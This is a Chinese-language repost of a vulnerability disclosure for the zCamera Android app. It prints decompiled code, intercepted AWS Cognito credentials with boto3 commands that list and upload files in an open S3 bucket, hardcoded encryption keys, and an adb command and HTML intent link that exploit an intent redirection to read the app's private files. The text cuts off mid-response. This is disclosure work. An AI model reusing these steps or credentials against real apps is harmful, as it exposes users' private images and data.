zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。

admin 2024年4月15日03:20:17评论6 views字数 21352阅读71分10秒阅读模式

本文是一次技术性的深入探讨,展示了一个 一亿+ 安装映像应用程序如何暴露其用户的映像,并遭受可远程利用的漏洞,从 SQL 注入和意图重定向到任意文件下载。

2021 年,我们向 Google AppStore 团队报告了一系列漏洞,这些漏洞影响了名为 zCamera 的热门相机应用程序。

该应用程序拥有超过 一亿 的安装量,并遭受了影响其用户安全和隐私的几个关键问题。

  • 恶意软件开发

  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。

  • 二进制漏洞
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • windows网络安全防火墙与虚拟网卡(更新完成)
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • windows文件过滤(更新完成)
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • USB过滤(更新完成)
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • 游戏安全(更新中)
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • ios逆向
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • windbg
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • 还有很多免费教程(限学员)
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • 更多详细内容添加作者微信
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。
  • zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。

我们曾尝试向应用开发者报告这些问题,但由于我们没有得到任何回复,因此我们向 Google 安全团队报告了这些问题。

我们最近了解到,该应用程序在商店中不再可访问,并且有一条错误消息指出无法下载该应用程序,因为该应用程序无法访问或存在严重的安全问题。

因此,我们安全地共享此报告,以分享有关我们在移动应用程序中看到的一些关键问题的认识和知识,以及如何在不需要设备上的恶意应用程序的情况下远程利用这些问题。

易受攻击的应用程序是具有图像共享和存储功能的照片编辑器应用程序。该应用程序有超过 100M+ 的安装量,仅在 iOS 上的版本就有超过 30k 条评论。com.jb.zcamera

已识别的漏洞包括:

漏洞影响攻击向量不安全的 S3 存储桶数据泄漏(图像)无交互 SQL 注入链,意图转发访问、写入或删除 SQLite 数据库数据泄漏(SQLite 数据库)恶意链接明文流量数据泄漏(图像)流量操纵使用硬编码密钥对敏感密钥的弱加密数据泄漏漏洞加重了数据泄漏漏洞的影响N/A重定向授权绕过恶意链接

由于不安全的 S3 存储桶导致敏感数据泄露。

该应用程序使用 AWS Cognito 来验证对 AWS 3gcdn.tokyo 存储桶的访问。Cognito 访问权限允许列出所有文件、访问用户的图像和上传任意文件。

存储桶权限允许存储桶中的所有用户列出、上传和读取所有文件。

下面是从显示 Cognito 帐户的应用程序中反编译的示例代码。

private static CognitoCachingCredentialsProvider b(Context context) {
        if (d == null) {
            d = new CognitoCachingCredentialsProvider(context.getApplicationContext(), "ap-northeast-1:393fddbe-5b4c-4a8a-87db-adb7e0501ccb", Regions.AP_NORTHEAST_1);
        }
        return d;
    }
    private static AmazonS3Client c(Context context) {
        if (c == null) {
            ClientConfiguration clientConfiguration = new ClientConfiguration();
            clientConfiguration.c(3000000);
            clientConfiguration.b(3000000);
            clientConfiguration.a(3);
            clientConfiguration.a(Protocol.HTTPS);
            c = new AmazonS3Client(b(context.getApplicationContext()), clientConfiguration);
        }
        c.a(Region.a(Regions.AP_NORTHEAST_1));
        return c;
    }

AWS Cognito 提供了一种将用户注册添加到移动和 Web 应用程序的简单方法。设置 Cognito 帐户后,将通过访问 https://cognito-identity 来检索凭证。zone].amazonaws.com/ 端点。

以下是截获的请求和响应,显示了生成的访问密钥、私有密钥和会话密钥:

请求:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com
{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

响应:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199
{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

然后,访问密钥和机密可用于列出文件、读取文件以及上传具有任何名称和任何内容的任何文件:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')
In [9]: client.list_objects(Bucket='3gcdn.tokyo')                                                                                                                                                                    
Out[9]: 
{'ResponseMetadata': {'RequestId': '2XAFCTTEPXFEP0WC',
  'HostId': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
  'HTTPStatusCode': 200,
  'HTTPHeaders': {'x-amz-id-2': 'eGU9yADLjFPKuAFj7UlpF7830Qh5Icl4Y2Vbf9NW6P4eYKvsVik6J9YPHiITzCMpZfBR3LpQ25w=',
   'x-amz-request-id': '2XAFCTTEPXFEP0WC',
   'date': 'Wed, 31 Mar 2021 22:50:25 GMT',
   'x-amz-bucket-region': 'ap-northeast-1',
   'content-type': 'application/xml',
   'transfer-encoding': 'chunked',
   'server': 'AmazonS3'},
  'RetryAttempts': 1},
 'IsTruncated': False,
 'Marker': '',
 'Contents': [{'Key': '00EC6-2021-03-17/headpic/m7VH0Pzd.jpg',
   'LastModified': datetime.datetime(2021, 3, 17, 3, 33, 13, tzinfo=tzutc()),
   'ETag': '"edc2823ca785a46e88731edf9507b0aa"',
   'Size': 137718,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01A43-2021-03-12/headpic/IFiAeMeK.jpg',
   'LastModified': datetime.datetime(2021, 3, 12, 21, 5, 48, tzinfo=tzutc()),
   'ETag': '"58ca99af9262f0b82e6978e3c9972970"',
   'Size': 201745,
   'StorageClass': 'STANDARD',
   'Owner': {'DisplayName': 'yang.jiguo.gz',
    'ID': '5b94b2d47950236e661022ff5b1fcf97415724b8883fdef3e10016e4fbe2b2e7'}},
  {'Key': '01BA8-2021-03-05/headpic/7rSei
...

通过SQL注入泄露敏感数据

该应用程序遭受了多次 SQL 注入,这些注入可以不同的方式被利用。

由于列出所有易受攻击的代码将花费数十页,因此下面是一个源代码示例。应用程序公开一个内容提供程序,该内容提供程序读取 Intent 消息,以使用字符串连接编写 SQL 查询。

public android.database.Cursor query(android.net.Uri p9, String[] p10, String p11, String[] p12, String p13, android.os.CancellationSignal p14)
    {
        android.database.Cursor v9_5;
        android.database.sqlite.SQLiteDatabase v0 = this.b.b();
        switch (com.jb.zcamera.gallery.encrypt.EncryptMediaProvider.a.match(p9)) {
            case 1:
                v9_5 = v0.query(images, p10, p11, p12, 0, 0, p13);
                break;
            case 2:
                String v3_2 = android.content.ContentUris.parseId(p9);
                if (v3_2 == -1) {
                    v9_5 = 0;
                } else {
                    android.database.Cursor v9_8 = new StringBuilder();
                    v9_8.append(_id=);
                    v9_8.append(v3_2);
                    android.database.Cursor v9_9 = v9_8.toString();
                    if (p11 != null) {
                        StringBuilder v14_8 = new StringBuilder();
                        v14_8.append(p11);
                        v14_8.append(“ and “);
                        v14_8.append(v9_9);
                        v9_9 = v14_8.toString();
                    }
                    v9_5 = v0.query(images, p10, v9_9, p12, 0, 0, p13);
                }
                break;
            case 3:
                v9_5 = v0.query(videos, p10, p11, p12, 0, 0, p13);
                break;
            case 4:
                String v3_5 = android.content.ContentUris.parseId(p9);
                if (v3_5 == -1) {
                } else {
                    android.database.Cursor v9_3 = new StringBuilder();
                    v9_3.append(_id=);
                    v9_3.append(v3_5);
                    android.database.Cursor v9_4 = v9_3.toString();
                    if (p11 != null) {
                        StringBuilder v14_3 = new StringBuilder();
                        v14_3.append(p11);
                        v14_3.append(“ and “);
                        v14_3.append(v9_4);
                        v9_4 = v14_3.toString();
                    }
                    v9_5 = v0.query(videos, p10, v9_4, p12, 0, 0, p13);
                }
                break;
            default:
                String v11_4 = new StringBuilder();
                v11_4.append(Unkonwn Uri:);
                v11_4.append(p9);
                throw new IllegalArgumentException(v11_4.toString());
        }
        return v9_5;
    }

通过明文链接泄露数据

应用程序从后端获取多个链接以访问不同的资源。最值得注意的是打包为 APK 文件的图像过滤器。

以下是显示收集的明文链接的请求和响应:

请求

GET https://lzt.goforandroid.com/launcherzthemestore/rest/store/resource/package?phead=eyJhcGlMZXZlbCI6IjE1IiwicHZlcnNpb24iOiIxIiwiYWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImFkaWQiOiIxZGVmMGY3YTVhYTZhNTFiIiwidWlkIjoiMWRlZjBmN2E1YWE2YTUxYiIsImNpZCI6MTEsImN2ZXJzaW9uIjoiMjQxIiwiY2xpZW50VmVyc2lvbiI6IjI0MSIsImdvaWQiOiI0Mjk1YWY2MzAxOTUxMDBhY2QxOWNhOWI1NjgxNGM5MSIsImN2ZXJzaW9ubmFtZSI6IjQuNTQiLCJjaGFubmVsIjoiMTAxIiwibG9jYWwiOiJVUyIsImNvdW50cnkiOiJtYSIsImxhbmciOiJlbiIsInJlc29sdXRpb24iOiJVTktOT1dOIiwic2RrIjoyNSwic3lzIjoiNy4xLjIiLCJvcyI6IjcuMS4yIiwibW9kZWwiOiJOZXh1cyA1IiwicmVxdWVzdHRpbWUiOiIyMDIxLTAzLTMxIDIyOjQ1OjEzIiwiZW50cmFuY2VJZCI6MSwiaGFzbWFya2V0IjoxLCJnYWRpZCI6IjI2NDM2NzhjLWY2NDctNGU0My1hMTkxLWIzNDcyY2Q3MjM1YSIsImVtYWlsc3RhdHVzIjoxLCJuZXQiOiJXSUZJIiwib2ZmaWNpYWwiOjB9&sourceInfo=W3sicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuYmVhcmRlcm1hbiIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIucmVkcm9zZSIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIubm9ibGUiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLmNhdHNjbGF3cyIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIuZ2xhbW9yb3VzIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ1MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkNjAiLCJ0eXBlIjo5fSx7InBhY2thZ2VOYW1lIjoiY29tLmpiLnpjYW1lcmEuZXh0cmEuYXJzdGlja2VyLm9sZDcwIiwidHlwZSI6OX0seyJwYWNrYWdlTmFtZSI6ImNvbS5qYi56Y2FtZXJhLmV4dHJhLmFyc3RpY2tlci5vbGQ4MCIsInR5cGUiOjl9LHsicGFja2FnZU5hbWUiOiJjb20uamIuemNhbWVyYS5leHRyYS5hcnN0aWNrZXIub2xkOTAiLCJ0eXBlIjo5fV0 HTTP/1.1
X-Signature: b48615ba7afc8b1661c9e4edcba5afe8
Connection: Keep-Alive
Host: lzt.goforandroid.com

响应

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 21:45:16 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 3924
Connection: keep-alive
ETag: "fabbe7c0ec3239ab83afbad4a23552d4"
Strict-Transport-Security: max-age=15768000
{"data":[{"type":9,"data":{"mapid":502108234,"pkgname":"com.jb.zcamera.extra.arsticker.bearderman","name":"Bearded Man","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/QSn5wB8r.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/GtCFYHsC.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891699498678795362.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"1.1MB"}},{"type":9,"data":{"mapid":502108239,"pkgname":"com.jb.zcamera.extra.arsticker.redrose","name":"Red Rose","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/XqodiFim.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/x0xMHTGO.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/sejQghqb.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891970955293144727.zip","chargetype":0,"downtype":1,"zipVersion":5,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"485.5KB"}},{"type":9,"data":{"mapid":502108240,"pkgname":"com.jb.zcamera.extra.arsticker.noble","name":"Noble","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171013/p7LgIBUL.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/2fCB9m4J.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/q1LeSyZp.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102516/150891979625032197505.zip","chargetype":0,"downtype":1,"zipVersion":2,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"106.8KB"}},{"type":9,"data":{"mapid":502108236,"pkgname":"com.jb.zcamera.extra.arsticker.catsclaws","name":"Cat's Claws","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/9vEt0rzp.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/zcPyXmxu.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171024/y4xBLEy8.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102515/150891770104157456228.zip","chargetype":0,"downtype":1,"zipVersion":6,"haslock":0,"newlocktype":1,"paytype":-1,"zipdownurl":"","size":"238.6KB"}},{"type":9,"data":{"mapid":502108242,"pkgname":"com.jb.zcamera.extra.arsticker.glamorous","name":"Glamorous","animated":0,"icon":"http://resource.gomocdn.com/soft/repository/5/icon/20171024/0dSKQewo.png","preview":"http://resource.gomocdn.com/soft/repository/5/preview/20171024/RE3V9bZs.png","images":["http://resource.gomocdn.com/soft/repository/5/image/20171013/bflkJsG4.png"],"animatedimages":"","downloadCount":0,"downloadCount_s":"100","score":0.0,"developer":null,"price":"0","detail":null,"updateTime":"2019-12-11","downurl":"http://goappdl.goforandroid.com/soft/go_launcherzstoremanage/2017102423/150885924029021919.zip","chargetype":0,"downtype":1,"zipVersion":10,"haslock":0,"newlocktype":2,"paytype":-1,"zipdownurl":"","size":"106.9KB"}},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null},{"type":9,"data":null}],"errorResult":{"errorCode":"SUCCESS","errorMsg":"SUCCESS"}}

弱加密和使用硬编码密钥来存储私有镜像

该应用程序实现了密码保护图像的功能。加密使用带有硬编码密钥的 DES 弱加密方案。以下是应用程序中硬编码的pref_forget_pwd_code的存在:

public static String m5718w() {
        String string = m5663ac().getString("pref_forget_pwd_code", "");
        return !TextUtils.isEmpty(string) ? aie.m2211b(string, "zalzaq47jlogh34DFddxa3i95nm3297nsvm2q1CXN3xv2197bkJlweXN199mb094883ksjaN1cABX3l9vnz9PD3rz872vxawvfA") : string;
    }

下面是使用 DES 加密和生成密钥。DES 由于其密钥空间小,在今天是蛮力的。

/* renamed from: b */
    public static byte[] m2212b(byte[] bArr, String str) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        try {
            SecretKey generateSecret = SecretKeyFactory.getInstance(DesUtil.DES_ALGORITHM).generateSecret(new DESKeySpec(str.getBytes()));
            Cipher instance = Cipher.getInstance(DesUtil.DES_ALGORITHM);
            instance.init(2, generateSecret);
            byte[] doFinal = instance.doFinal(bArr);
            byteArrayOutputStream.close();
            return doFinal;
        } catch (Exception e) {
            throw e;
        } catch (Throwable th) {
            byteArrayOutputStream.close();
            throw th;
        }
    }

这是另一个用于 AES 加密的硬编码密钥

public final class CryptPreferencesManager {
    private static final String CRYPT_KEY = "NaubrwWEGiJEQqRxx7aXntbGOf4YiRmW0WY9043rcqRhJreE4sReMC1OFRaeI7TXWBJUiJQGpwA1UdSsR65vvNieo70IUqvUnj1mn1mLUTKEMqeM9l5g90WJJo4gBN3n";
    private SharedPreferences.Editor mEditor;
    private SharedPreferences mPreferences;

敏感数据泄露(图像、数据库、外部存储文件)通过浏览器上的链接

应用程序中最重要的问题之一是攻击者如何通过利用意图重定向漏洞来绕过对可访问和授权活动的限制。

主活动公开一个代理功能,该功能在具有文件访问权限的 Web 视图中打开链接,前提是设置了某些标志,或者可以使用任意额外参数启动活动。

public boolean a(Context context, Intent intent) {
        if (intent != null && intent.getBooleanExtra("extra_is_wecloud_enter", false)) {
            String stringExtra = intent.getStringExtra(WecloudNotificationKey.ACTION.getValue());
            String stringExtra2 = intent.getStringExtra(WecloudNotificationKey.PARAM.getValue());
            if (WecloudNotificationAction.hasValue(stringExtra)) {
                WecloudNotificationAction fromValue = WecloudNotificationAction.fromValue(stringExtra);
                if (fromValue == WecloudNotificationAction.URI) {
                    return b(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.GP) {
                    return c(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.FB) {
                    return d(context, stringExtra2);
                }
                if (fromValue == WecloudNotificationAction.ACTIVITY) {
                    return e(context, stringExtra2);
                }
            }
        }
        return false;
    }

根据 intent 中的某些参数,从push_param值构造第二个 intent。第二个参数解析实现自己的序列化格式,支持字符串、布尔值、整数等基本类型。下面是构造第二个意图的代码。

private boolean m6011b(Context context, String str) {
        if (TextUtils.isEmpty(str)) {
            return false;
        }
        try {
            String[] split = str.split("\?\#\?\#\?");
            String str2 = split[0];
            if (TextUtils.isEmpty(str2)) {
                return false;
            }
            if (split.length < 2) {
                Intent intent = new Intent("android.intent.action.VIEW", Uri.parse(str));
                intent.addFlags(268435456);
                context.startActivity(intent);
                return true;
            }
            Intent intent2 = new Intent();
            mo12531a(intent2, split[1]);
            if (intent2.getBooleanExtra("extra_internal_webview", false)) {
                arl.m4058a(context, intent2, split[0], intent2.getBooleanExtra("extra_show_ad", false));
            } else {
                Intent intent3 = new Intent("android.intent.action.VIEW", Uri.parse(str2));
                intent3.addFlags(268435456);
                context.startActivity(intent3);
            }
            return true;
        } catch (Throwable th) {
            ars.m4113c("WecloudNotification", "", th);
            return true;
        }
    }
private void a(Intent intent, String str, String str2) {
        int lastIndexOf = str2.lastIndexOf("@");
        if (lastIndexOf > 0 && lastIndexOf < str2.length() - 1) {
            String substring = str2.substring(lastIndexOf + 1);
            String substring2 = str2.substring(0, lastIndexOf);
            if ("B".equals(substring)) {
                intent.putExtra(str, Boolean.valueOf(substring2));
            } else if ("I".equals(substring)) {
                intent.putExtra(str, Integer.valueOf(substring2));
            } else if ("D".equals(substring)) {
                intent.putExtra(str, Double.valueOf(substring2));
            } else if ("F".equals(substring)) {
                intent.putExtra(str, Float.valueOf(substring2));
            } else if ("L".equals(substring)) {
                intent.putExtra(str, Long.valueOf(substring2));
            } else if ("S".equals(substring)) {
                intent.putExtra(str, substring2);
            }
        }
    }
}

要触发在目标 Web 视图上打开页面,可以使用以下命令发送 intent:

adb shell am start -n com.jb.zcamera/com.jb.zcamera.camera.MainActivity --es push_action uri --es push_param 'file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml?#?#?&extra_internal_webview=true@B' --ez extra_is_wecloud_enter true

由于公开代理功能的主要活动是可浏览的,因此可以使用以下 html 示例代码从 Chrome 触发 intent。这是一个非常重要的元素,因为这意味着攻击者可以触发此漏洞,而无需对设备进行恶意访问。

<html>
<a href="intent://camera.gomo.com/#Intent;scheme=http;package=com.jb.zcamera;S.push_action=uri;S.push_param=file:///data/data/com.jb.zcamera/shared_prefs/CameraFacing.xml%3f%23%3f%23%3f%26extra_internal_webview%3dtrue%40B;B.extra_is_wecloud_enter=true;end">Click Me!</a>
</html>

Web 视图具有本地文件访问权限,但没有从 URL 打开文件的权限,目标 SDK 将文件 URL 访问权限设置为 false。

InvolveMediaDetailActvity 活动可以触发链接指向“http://goappdl.goforandroid.com/”的文件下载

该活动接受从 S3 存储桶提取的视频 URL:

public void getDataFromIntent() {
        Intent intent = getIntent();
        this.a = intent.getStringExtra(VIDEO_URL);
        this.b = intent.getStringExtra(IMG_URL);
        this.c = intent.getIntExtra(FILE_TYPE, -1);
    }

URL 需要作为主机 http://goappdl.goforandroid.com/,但是主机被截断,并且仅使用路径来下载文件。存储文件的名称取自以下路径:

public static String m1204e(String str) {
        try {
            if (!TextUtils.isEmpty(str)) {
                if (str.startsWith("http://goappdl.goforandroid.com/")) {
                    return str.substring("http://goappdl.goforandroid.com/".length(), str.length());
                }
            }
            return "";
        } catch (Exception e) {
            e.printStackTrace();
            return "";
        }
    }

由于对 S3 g3cdn.tokyo 的访问使用 AWS Cognito,因此可以通过发送 Cognito 身份来收集访问密钥。

请求:

POST https://cognito-identity.us-east-1.amazonaws.com/ HTTP/1.1
Content-Type: application/x-amz-json-1.1
User-Agent: aws-sdk-android/2.11.1 Linux/3.4.0-gc9a1f89 Dalvik/2.1.0/0 en_US MobileHub/1.0
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
aws-sdk-retry: 0/0
aws-sdk-invocation-id: aef50f87-e088-4133-986e-095a91e353b6
Content-Length: 75
Connection: Keep-Alive
Host: cognito-identity.us-east-1.amazonaws.com
{"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b","Logins":{}}

响应:

HTTP/1.1 200 OK
Date: Wed, 31 Mar 2021 23:55:26 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 1772
Connection: keep-alive
x-amzn-RequestId: 3e58c2b6-bb84-47e8-8eed-586e47493199
{"Credentials":{"AccessKeyId":"ASIAWM5ZKESJXSGTW55U","Expiration":1.617238526E9,"SecretKey":"Dg3A8hXHt2mEiYPJgkXRoNXc4+nCZea1yy7HGgff","SessionToken":"IQoJb3JpZ2luX2VjEFAaCXVzLWVhc3QtMSJHMEUCIQD2a0IYHB89YmxvYb+FWPH3pgjgZwbxHTL5e5E/zCnYiQIgdsoN3cUrfavJSA58AYMnPp94YDAHC4FaIGZ7OlY/AXsqmgYImf//////////ARAAGgw0NDAwODU5MTQ3NzEiDHfLOwymijKmIqQ8HCruBROog1p/g5/c3hDdgpHkQWcOUv1PTlcfgVfRCKQF5bTHJXzQuhhSBIKBNWczvUvALWdzYOzgyoz2EW5yJJEP+Djz4oWPXDi1POIWiCWWRE0Obod2auS0vfF041OYsIFRF9TZT3V0waRsL6csV6t1JtM2KWu7L2lji8asEIanTuNaq4rUGOR4Iv529sxhd4JlgWac9M1XDlu2oiaVnZkee8/8ML5En8BgMTIU+BxolFtq5pjKSAawRlKaCvP/2XWNwoP1BcyRRowXYS+bhU6sMRPvc4wCiS8GXlzPYT2Rs0gChOk2xI43GUxJVtwxjx2k8UyAsDVjq9OHzsQK/Tmpi7y9c4H0ekFJuKE8+Hy5F3cS2V5qI5Ux5VrhZ3MY/+PrU2JUI17KbB+j0VqdxHuEcyPQnzj7k45NtZR4w53GZ4LxiGVJOTWQPMeYZ84p51fDsQiByQ1m+evfhpc3pkc7Peazl/33YJ8x+A/jLEcBxfGSPwYiGqv/DvJQ5occ0XT/dbdiUngtow0LEZmSH0Rjmlw/VhSl9+T7vJNU07NQVEWhtX2iKdqjZjg30uiRof8/450X6zwSDGyqcldJDGK6wTPbQ4x8xNSE0Y1W7C6EHzUBrc2N5WJpKu3rxNvxw4/bLbG+bR+IFvJGj96FIBjVvRvPw2Tg+XrR7KEndHZO1JFLYIh2S53i3kGJoQsooN0wucGixdX62ru+eRA0YcEc9xLYC8YuUw0t9SPfuQQzXV2KjGEwnV1sNebM/doXsOD40qXKrW01M1TeWQCvQZ97MIDYifXKRj7ZuulZHnjnPXQYVe8szs4lssjx/PWWJQw9EnxevWKnZK6neRTopqFD8dZYg566k8fBnk72Y65S5ydCx1P3KddbVi/hNs80G5LPV16jpMOeFCMrUrbBbHOwtz8tTnO78T6GcQTN6